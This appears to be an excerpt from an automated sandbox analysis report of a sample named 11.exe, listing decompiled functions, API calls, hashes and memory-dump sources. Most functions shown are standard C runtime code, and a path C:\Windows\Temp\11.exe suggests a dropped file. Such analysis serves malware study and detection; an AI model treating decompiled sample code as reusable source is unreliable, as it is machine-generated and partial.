Instruction ID: 2defe6107442147daf6eb536c60cff2c189222a157008688dae4b33cd9987a0a
Opcode Fuzzy Hash: 0c6d842a29b7fbd5522128a9102ef7a0db9ea7557437860fec6e8ebec7c599a2
Instruction Fuzzy Hash: 59C1AFB5D002589FCB14CFA8C8909EDFBB5AF09304F28416AE965FB351D6359D82CF68

Uniqueness

Uniqueness Score: -1.00%

Function 02711A64 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(00000000,00000000,?), ref: 02711AAC
__fassign.LIBCMT ref: 02711C91
__fassign.LIBCMT ref: 02711CAE
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02711CF6
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 02711D36
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 02711DDE

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: d40995786bfeca2513f77fffe5fb2f3e22d2962feef92798626ef473fc22f652
Instruction ID: 3b1d339441375632e59019fb7d8f11b6cb1938867b413418f5682bd6b1596f78
Opcode Fuzzy Hash: d40995786bfeca2513f77fffe5fb2f3e22d2962feef92798626ef473fc22f652
Instruction Fuzzy Hash: 2FC1AE75D012589FCB15CFEDC8809EDBBB5AF09304F68816AE959BB341E7319A06CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00407C8A Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00407C8A(void* __ecx) {
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x42c040 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E00408E93(_t13,  *0x42c040);
					_t14 = _t23;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						if(_t11 == 0) {
							if(E00408ECE(_t14,  *0x42c040, 0xffffffff) != 0) {
								_push(0x28);
								_t27 = E0040B2AA();
								_t18 = 1;
								if(_t27 == 0) {
									L8:
									_t11 = 0;
									E00408ECE(_t18,  *0x42c040, 0);
								} else {
									_t8 = E00408ECE(_t18,  *0x42c040, _t27);
									_pop(_t18);
									if(_t8 != 0) {
										_t11 = _t27;
										_t27 = 0;
									} else {
										goto L8;
									}
								}
								E004090EB(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x00407c8a
0x00407c91
0x00407ca4
0x00407cab
0x00407cad
0x00407cb1
0x00407cca
0x00407cca
0x00407cb3
0x00407cb5
0x00407cc8
0x00407ccf
0x00407cd8
0x00407cdb
0x00407cde
0x00407cf2
0x00407cf2
0x00407cfb
0x00407ce0
0x00407ce7
0x00407ced
0x00407cf0
0x00407d04
0x00407d06
0x00000000
0x00000000
0x00000000
0x00407cf0
0x00407d09
0x00000000
0x00000000
0x00000000
0x00407cc8
0x00407cb5
0x00407d11
0x00407d1b
0x00407c93
0x00407c95
0x00407c95

APIs

GetLastError.KERNEL32(?,?,00407C81,004063BC,0040514F), ref: 00407C98
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00407CA6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00407CBF
SetLastError.KERNEL32(00000000,00407C81,004063BC,0040514F), ref: 00407D11

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f70354535a5f32969ceefa8b5402d55ddfbde8b0abd9b1c9a8133fd09b4f3b4b
Instruction ID: 35e7e38e7a4683a46768f1fbcf7b8a6e986d8d032b4be6d475c536206d798a3d
Opcode Fuzzy Hash: f70354535a5f32969ceefa8b5402d55ddfbde8b0abd9b1c9a8133fd09b4f3b4b
Instruction Fuzzy Hash: D101B532A1C2129EE63427B9BC89A6F2B44EF11779720023FF110B62E2EE7D5C0251CD

Uniqueness

Uniqueness Score: -1.00%

Function 027080F1 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,027080E8,02706823,027055B6), ref: 027080FF
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0270810D
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 02708126
SetLastError.KERNEL32(00000000,027080E8,02706823,027055B6), ref: 02708178

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 56294a8cc9415914c0d70ee3f62d093777a5140a4e11184e1f0586e72d028172
Instruction ID: eb6ca6063131783e70153cb720621200acc5fba40515ae601a523ff396750a8e
Opcode Fuzzy Hash: 56294a8cc9415914c0d70ee3f62d093777a5140a4e11184e1f0586e72d028172
Instruction Fuzzy Hash: F901F736308212EEA73627BCBCC8A6B2AD5EF01B78F20433DF614661E1EF114C0B4995

Uniqueness

Uniqueness Score: -1.00%

Function 00407DA1 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 64%

			E00407DA1(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0x42a3e8);
				E004051D0(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E004056D0(_t107, E0040633C(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E004056D0(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x457e5c; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x41d130();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E0040B689(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0x42a408);
									E004051D0(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E00407DA1(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E00408AA7(_t103, _t108[0x18], E0040633C( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E00408AB7(_t103, _t108[0x18], E0040633C( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E0040633C();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x00407da1
0x00407da3
0x00407da8
0x00407dad
0x00407daf
0x00407db2
0x00407db7
0x00407ec7
0x00407ec7
0x00407ec7
0x00000000
0x00407dc6
0x00407dc6
0x00407dcb
0x00407dd5
0x00407dd7
0x00407ddc
0x00407de1
0x00407de1
0x00407de3
0x00407de6
0x00407deb
0x00407e0d
0x00407e0d
0x00407e10
0x00407e13
0x00407e31
0x00407e34
0x00407e73
0x00407e76
0x00407e79
0x00407e9e
0x00407ea0
0x00000000
0x00407ea2
0x00407ea2
0x00407ea4
0x00000000
0x00407ea6
0x00407ea6
0x00407eab
0x00407eaf
0x00407eaf
0x00407eb0
0x00000000
0x00407eb0
0x00407ea4
0x00407e7b
0x00407e7b
0x00407e7d
0x00000000
0x00407e7f
0x00407e7f
0x00407e81
0x00000000
0x00407e83
0x00407e94
0x00000000
0x00407e99
0x00407e81
0x00407e7d
0x00407e36
0x00407e36
0x00407e3a
0x00000000
0x00407e40
0x00407e40
0x00407e42
0x00000000
0x00407e48
0x00407e4f
0x00407e57
0x00407e5b
0x00407e5d
0x00407e60
0x00407e65
0x00407e66
0x00000000
0x00407e66
0x00407e60
0x00000000
0x00407e5b
0x00407e42
0x00407e3a
0x00407e15
0x00407e15
0x00000000
0x00407e15
0x00407df2
0x00407df2
0x00407df7
0x00407dfc
0x00000000
0x00407dfe
0x00407e00
0x00407e09
0x00407e18
0x00407e1a
0x00407ed9
0x00407ed9
0x00407ede
0x00407edf
0x00407ee1
0x00407ee6
0x00407eeb
0x00407eee
0x00407ef1
0x00407ef4
0x00407efd
0x00407efd
0x00407ef6
0x00407ef6
0x00407ef6
0x00407f00
0x00407f04
0x00407f07
0x00407f08
0x00407f09
0x00407f0a
0x00407f0d
0x00407f16
0x00407f16
0x00407f19
0x00407f4f
0x00407f1b
0x00407f1b
0x00407f1b
0x00407f1e
0x00407f35
0x00407f35
0x00407f1e
0x00407f54
0x00407f5e
0x00407f6a
0x00407e28
0x00407e28
0x00407e2d
0x00407e2e
0x00407e68
0x00407e6f
0x00407eb3
0x00407eb3
0x00407eba
0x00407ec9
0x00407ecc
0x00407ed8
0x00407ed8
0x00407e1a
0x00407dfc
0x00000000
0x00000000
0x00000000
0x00407dcb

APIs

___AdjustPointer.LIBCMT ref: 00407E68
___AdjustPointer.LIBCMT ref: 00407E8B
___AdjustPointer.LIBCMT ref: 00407F27

Strings

Z7@, xrefs: 00407E00

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: Z7@
API String ID: 1740715915-2024903632
Opcode ID: 90e4dc2e4e30d2e088b1365700b583f7e92fd45af115c8aad3074abfe1df8856
Instruction ID: b17abc874f0ee4d9d6f86a8eb35001ffe92bf1603d91ab5dd5ee4a9be5289a7b
Opcode Fuzzy Hash: 90e4dc2e4e30d2e088b1365700b583f7e92fd45af115c8aad3074abfe1df8856
Instruction Fuzzy Hash: C551CE72A0A6069FDB258F15D841BBB77A0EF44314F10447FE806666D1E739BC41CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 02708208 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 027082CF
___AdjustPointer.LIBCMT ref: 027082F2
___AdjustPointer.LIBCMT ref: 0270838E

Strings

Z7@, xrefs: 02708267

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: Z7@
API String ID: 1740715915-2024903632
Opcode ID: 90e4dc2e4e30d2e088b1365700b583f7e92fd45af115c8aad3074abfe1df8856
Instruction ID: 368f2131fe41872a0fb4af1bcafca5a4fd4691929f9e31537dd20c896262dea7
Opcode Fuzzy Hash: 90e4dc2e4e30d2e088b1365700b583f7e92fd45af115c8aad3074abfe1df8856
Instruction Fuzzy Hash: 0C51FEB2601602EFDB2A8F54D8D4BAEB3E5FF84714F144129ED019B6D0E771E948CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00415BCA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00415BCA(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t39;

				_t38 = _a4;
				if(_t38 != 0) {
					__eflags =  *_t38;
					if( *_t38 != 0) {
						_t14 = E004150F1(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t14;
						if(__eflags != 0) {
							_t36 = _a8;
							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
								L10:
								_t15 = E004150F1(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
								__eflags = _t15;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
									_t17 = 0;
									__eflags = 0;
								} else {
									E00409356(GetLastError());
									_t17 =  *((intOrPtr*)(E0040938C(__eflags)));
								}
								L13:
								L14:
								return _t17;
							}
							_t17 = E0040B982(_t36, _t14);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L13;
							}
							goto L10;
						}
						E00409356(GetLastError());
						_t17 =  *((intOrPtr*)(E0040938C(__eflags)));
						goto L14;
					}
					_t39 = _a8;
					__eflags =  *((intOrPtr*)(_t39 + 0xc));
					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
						_t17 = 0;
						 *((intOrPtr*)(_t39 + 0x10)) = 0;
						goto L14;
					}
					_t17 = E0040B982(_t39, 1);
					__eflags = _t17;
					if(_t17 != 0) {
						goto L14;
					}
					goto L5;
				}
				E0040BA07(_a8);
				return 0;
			}

0x00415bd0
0x00415bd5
0x00415be9
0x00415bec
0x00415c1e
0x00415c26
0x00415c28
0x00415c41
0x00415c44
0x00415c47
0x00415c55
0x00415c64
0x00415c6c
0x00415c6e
0x00415c87
0x00415c8a
0x00415c8a
0x00415c70
0x00415c77
0x00415c82
0x00415c82
0x00415c8c
0x00415c8d
0x00000000
0x00415c8d
0x00415c4c
0x00415c51
0x00415c53
0x00000000
0x00000000
0x00000000
0x00415c53
0x00415c31
0x00415c3c
0x00000000
0x00415c3c
0x00415bee
0x00415bf1
0x00415bf4
0x00415c07
0x00415c0a
0x00415c0c
0x00415c0e
0x00000000
0x00415c0e
0x00415bfa
0x00415bff
0x00415c01
0x00000000
0x00000000
0x00000000
0x00415c01
0x00415bda
0x00000000

Strings

C:\Windows\Temp\11.exe, xrefs: 00415BCF

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Temp\11.exe
API String ID: 0-2924718867
Opcode ID: b735720f9490cd6bf8b13b976edbc75dda1ef784dc849abd8250f48606c49d6f
Instruction ID: 8abcd715c2ca7512efe32b5aeeceaf9fb9e726b6cfb69481bb3db1375bda0aa4
Opcode Fuzzy Hash: b735720f9490cd6bf8b13b976edbc75dda1ef784dc849abd8250f48606c49d6f
Instruction Fuzzy Hash: A6215371604A05EFEB206F62CC41DEB775DEB84368710462AF915A7291F738DC818BE9

Uniqueness

Uniqueness Score: -1.00%

Function 02716031 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\Temp\11.exe, xrefs: 02716036

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Temp\11.exe
API String ID: 0-2924718867
Opcode ID: 3e360ce447acf2ec03d249692a3550f676c249694b01fdd5f3f3632812db11ad
Instruction ID: cf68fc15063b78852a85bcf07d2d49130f58d24c03562a258dbe1bd62668945e
Opcode Fuzzy Hash: 3e360ce447acf2ec03d249692a3550f676c249694b01fdd5f3f3632812db11ad
Instruction Fuzzy Hash: 8B21ABB1604116FFDB21AF6D8CC4E6B77AEEF043687118524F925E7190EB31ED408BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041B8B1 Relevance: 7.7, APIs: 5, Instructions: 244
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 88%

			E0041B8B1(signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, int _a32) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				intOrPtr* _v32;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr _v48;
				void* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t55;
				intOrPtr* _t60;
				int _t62;
				signed int _t65;
				signed int _t66;
				intOrPtr* _t67;
				void* _t69;
				signed int _t70;
				signed int _t71;
				intOrPtr* _t77;
				char* _t79;
				char* _t80;
				intOrPtr _t95;
				intOrPtr _t96;
				intOrPtr* _t102;
				signed int _t104;
				void* _t105;
				intOrPtr* _t107;
				void* _t108;
				intOrPtr* _t109;

				_t55 =  *0x42c014; // 0xee6350c6
				_v8 = _t55 ^ _t104;
				_t103 = _a20;
				_v44 = _a4;
				_v48 = _a8;
				_t59 = _a24;
				_v40 = _a24;
				_t102 = _a16;
				_v36 = _t102;
				if(_t103 <= 0) {
					if(_t103 < 0xffffffff) {
						goto L60;
					} else {
						goto L3;
					}
				} else {
					_t103 = E0040B87D(_t102, _t103);
					_t59 = _v40;
					L3:
					_t85 = _a28;
					if(_t85 <= 0) {
						if(_t85 < 0xffffffff) {
							goto L60;
						} else {
							goto L6;
						}
					} else {
						_t85 = E0040B87D(_t59, _t85);
						L6:
						_t62 = _a32;
						if(_t62 == 0) {
							_t62 =  *( *_v44 + 8);
							_a32 = _t62;
						}
						if(_t103 == 0 || _t85 == 0) {
							if(_t103 == _t85) {
								L59:
								_push(2);
								goto L22;
							} else {
								if(_t85 > 1) {
									L31:
									_t60 = 1;
								} else {
									if(_t103 > 1) {
										L21:
										_push(3);
										goto L22;
									} else {
										if(GetCPInfo(_t62,  &_v28) == 0) {
											goto L60;
										} else {
											if(_t103 <= 0) {
												if(_t85 <= 0) {
													goto L32;
												} else {
													if(_v28 >= 2) {
														_t79 =  &_v22;
														if(_v22 != 0) {
															_t103 = _v40;
															while(1) {
																_t95 =  *((intOrPtr*)(_t79 + 1));
																if(_t95 == 0) {
																	goto L31;
																}
																_t101 =  *_t103;
																if(_t101 <  *_t79 || _t101 > _t95) {
																	_t79 = _t79 + 2;
																	if( *_t79 != 0) {
																		continue;
																	} else {
																		goto L31;
																	}
																} else {
																	goto L59;
																}
																goto L61;
															}
														}
													}
													goto L31;
												}
											} else {
												if(_v28 >= 2) {
													_t80 =  &_v22;
													if(_v22 != 0) {
														while(1) {
															_t96 =  *((intOrPtr*)(_t80 + 1));
															if(_t96 == 0) {
																goto L21;
															}
															_t101 =  *_t102;
															if(_t101 <  *_t80 || _t101 > _t96) {
																_t80 = _t80 + 2;
																if( *_t80 != 0) {
																	continue;
																} else {
																	goto L21;
																}
															} else {
																goto L59;
															}
															goto L22;
														}
													}
												}
												goto L21;
												L22:
												_pop(_t60);
											}
										}
									}
								}
							}
						} else {
							L32:
							_t102 = 0;
							_t65 = E00415075(_a32, 9, _v36, _t103, 0, 0);
							_t107 = _t105 + 0x18;
							_v44 = _t65;
							if(_t65 == 0) {
								L60:
								_t60 = 0;
							} else {
								_t101 = _t65 + _t65 + 8;
								asm("sbb eax, eax");
								_t66 = _t65 & _t65 + _t65 + 0x00000008;
								if(_t66 == 0) {
									_t67 = 0;
									_v32 = 0;
									goto L41;
								} else {
									if(_t66 > 0x400) {
										_t77 = E0040FE5B(_t66);
										_v32 = _t77;
										if(_t77 == 0) {
											goto L57;
										} else {
											 *_t77 = 0xdddd;
											goto L39;
										}
									} else {
										E00404E60(_t66);
										_t77 = _t107;
										_v32 = _t77;
										if(_t77 == 0) {
											L57:
											_t85 = _v32;
										} else {
											 *_t77 = 0xcccc;
											L39:
											_t67 = _t77 + 8;
											_v32 = _t67;
											L41:
											if(_t67 == 0) {
												goto L57;
											} else {
												_t103 = _a32;
												_t69 = E00415075(_a32, 1, _v36, _a32, _t67, _v44);
												_t108 = _t107 + 0x18;
												if(_t69 == 0) {
													goto L57;
												} else {
													_t70 = E00415075(_t103, 9, _v40, _t85, _t102, _t102);
													_t109 = _t108 + 0x18;
													_v36 = _t70;
													if(_t70 == 0) {
														goto L57;
													} else {
														_t101 = _t70 + _t70 + 8;
														asm("sbb eax, eax");
														_t71 = _t70 & _t70 + _t70 + 0x00000008;
														if(_t71 == 0) {
															_t103 = _t102;
															goto L52;
														} else {
															if(_t71 > 0x400) {
																_t103 = E0040FE5B(_t71);
																if(_t103 == 0) {
																	goto L55;
																} else {
																	 *_t103 = 0xdddd;
																	goto L50;
																}
															} else {
																E00404E60(_t71);
																_t103 = _t109;
																if(_t103 == 0) {
																	L55:
																	_t85 = _v32;
																} else {
																	 *_t103 = 0xcccc;
																	L50:
																	_t103 = _t103 + 8;
																	L52:
																	if(_t103 == 0 || E00415075(_a32, 1, _v40, _t85, _t103, _v36) == 0) {
																		goto L55;
																	} else {
																		_t85 = _v32;
																		_t102 = E0040F9FD(_v48, _a12, _v32, _v44, _t103, _v36, _t102, _t102, _t102);
																	}
																}
															}
														}
														E0040481A(_t103);
													}
												}
											}
										}
									}
								}
								E0040481A(_t85);
								_t60 = _t102;
							}
						}
					}
				}
				L61:
				return E00404A89(_t60, _t85, _v8 ^ _t104, _t101, _t102, _t103);
			}

0x0041b8b9
0x0041b8c0
0x0041b8c8
0x0041b8cb
0x0041b8d1
0x0041b8d4
0x0041b8d7
0x0041b8db
0x0041b8de
0x0041b8e3
0x0041b8f8
0x00000000
0x00000000
0x00000000
0x00000000
0x0041b8e5
0x0041b8ed
0x0041b8ef
0x0041b8fe
0x0041b8fe
0x0041b903
0x0041b915
0x00000000
0x00000000
0x00000000
0x00000000
0x0041b905
0x0041b90e
0x0041b91b
0x0041b91b
0x0041b920
0x0041b927
0x0041b92a
0x0041b92a
0x0041b92f
0x0041b93b
0x0041bb21
0x0041bb21
0x00000000
0x0041b941
0x0041b944
0x0041b9cd
0x0041b9cf
0x0041b94a
0x0041b94d
0x0041b992
0x0041b992
0x00000000
0x0041b94f
0x0041b95c
0x00000000
0x0041b962
0x0041b964
0x0041b99c
0x00000000
0x0041b99e
0x0041b9a2
0x0041b9a8
0x0041b9ab
0x0041b9ad
0x0041b9b0
0x0041b9b0
0x0041b9b5
0x00000000
0x00000000
0x0041b9b7
0x0041b9bb
0x0041b9c5
0x0041b9cb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041b9bb
0x0041b9b0
0x0041b9ab
0x00000000
0x0041b9a2
0x0041b966
0x0041b96a
0x0041b970
0x0041b973
0x0041b975
0x0041b975
0x0041b97a
0x00000000
0x00000000
0x0041b97c
0x0041b980
0x0041b98a
0x0041b990
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041b980
0x0041b975
0x0041b973
0x00000000
0x0041b994
0x0041b994
0x0041b994
0x0041b964
0x0041b95c
0x0041b94d
0x0041b944
0x0041b9d5
0x0041b9d5
0x0041b9d5
0x0041b9e2
0x0041b9e7
0x0041b9ea
0x0041b9ef
0x0041bb28
0x0041bb28
0x0041b9f5
0x0041b9f8
0x0041b9fd
0x0041b9ff
0x0041ba01
0x0041ba44
0x0041ba46
0x00000000
0x0041ba03
0x0041ba08
0x0041ba25
0x0041ba2a
0x0041ba30
0x00000000
0x0041ba36
0x0041ba36
0x00000000
0x0041ba36
0x0041ba0a
0x0041ba0a
0x0041ba0f
0x0041ba11
0x0041ba16
0x0041bb13
0x0041bb13
0x0041ba1c
0x0041ba1c
0x0041ba3c
0x0041ba3c
0x0041ba3f
0x0041ba49
0x0041ba4b
0x00000000
0x0041ba51
0x0041ba59
0x0041ba5f
0x0041ba64
0x0041ba69
0x00000000
0x0041ba6f
0x0041ba78
0x0041ba7d
0x0041ba80
0x0041ba85
0x00000000
0x0041ba8b
0x0041ba8e
0x0041ba93
0x0041ba95
0x0041ba97
0x0041bacb
0x00000000
0x0041ba99
0x0041ba9e
0x0041bab9
0x0041babe
0x00000000
0x0041bac0
0x0041bac0
0x00000000
0x0041bac0
0x0041baa0
0x0041baa0
0x0041baa5
0x0041baa9
0x0041bb07
0x0041bb07
0x0041baab
0x0041baab
0x0041bac6
0x0041bac6
0x0041bacd
0x0041bacf
0x00000000
0x0041baea
0x0041baea
0x0041bb03
0x0041bb03
0x0041bacf
0x0041baa9
0x0041ba9e
0x0041bb0b
0x0041bb10
0x0041ba85
0x0041ba69
0x0041ba4b
0x0041ba16
0x0041ba08
0x0041bb17
0x0041bb1d
0x0041bb1d
0x0041b9ef
0x0041b92f
0x0041b903
0x0041bb2a
0x0041bb3b

APIs

GetCPInfo.KERNEL32(009FEEE0,009FEEE0,?,7FFFFFFF,?,?,0041BB6D,009FEEE0,009FEEE0,?,009FEEE0,?,?,?,?,009FEEE0), ref: 0041B954
__alloca_probe_16.LIBCMT ref: 0041BA0A
__alloca_probe_16.LIBCMT ref: 0041BAA0
__freea.LIBCMT ref: 0041BB0B
__freea.LIBCMT ref: 0041BB17

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: ff79cc1848698e9be94925753b899a01218afc4b792d9db957fca7c3ad399e8e
